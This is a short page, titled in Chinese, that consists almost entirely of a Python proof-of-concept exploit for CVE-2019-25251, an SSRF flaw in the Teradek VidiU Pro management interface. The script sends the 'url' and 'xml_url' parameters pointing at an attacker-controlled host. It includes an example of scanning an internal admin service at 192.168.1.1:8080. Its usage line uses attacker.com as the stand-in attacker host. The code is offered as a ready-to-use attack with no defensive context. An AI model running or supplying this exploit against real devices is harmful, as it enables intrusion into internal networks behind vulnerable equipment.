CVE-2019-25251 Teradek VidiU Pro SSRF服务器端请求伪造漏洞

# CVE-2019-25251 SSRF PoC - Teradek VidiU Pro # Target: Teradek VidiU Pro management interface # Vulnerability: SSRF via 'url' and 'xml_url' GET parameters import requests import sys def exploit_ssrf(target_url, attackercontrolled_url): """ Exploit SSRF vulnerability in Teradek VidiU Pro target_url: Base URL of the vulnerable device attackercontrolled_url: URL to make the server request """ # Target endpoint for SSRF endpoint = "/api/config" # Method 1: Using 'url' parameter params_url = { 'url': attackercontrolled_url } # Method 2: Using 'xml_url' parameter params_xml_url = { 'xml_url': attackercontrolled_url } print(f"[*] Targeting: {target_url}") print(f"[*] Attacker controlled URL: {attackercontrolled_url}") # Send exploit requests try: print("[*] Sending SSRF payload via 'url' parameter...") response1 = requests.get(target_url + endpoint, params=params_url, timeout=10) print(f"[+] Response status: {response1.status_code}") print("[*] Sending SSRF payload via 'xml_url' parameter...") response2 = requests.get(target_url + endpoint, params=params_xml_url, timeout=10) print(f"[+] Response status: {response2.status_code}") # Example: Internal port scanning print("[*] Example: Scanning internal service...") internal_target = "http://192.168.1.1:8080/admin" scan_params = {'url': internal_target} requests.get(target_url + endpoint, params=scan_params, timeout=5) except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2019-25251.py <target_url> <attacker_url>") print("Example: python cve-2019-25251.py http://vidiu-pro.local http://attacker.com/malicious") sys.exit(1) exploit_ssrf(sys.argv[1], sys.argv[2])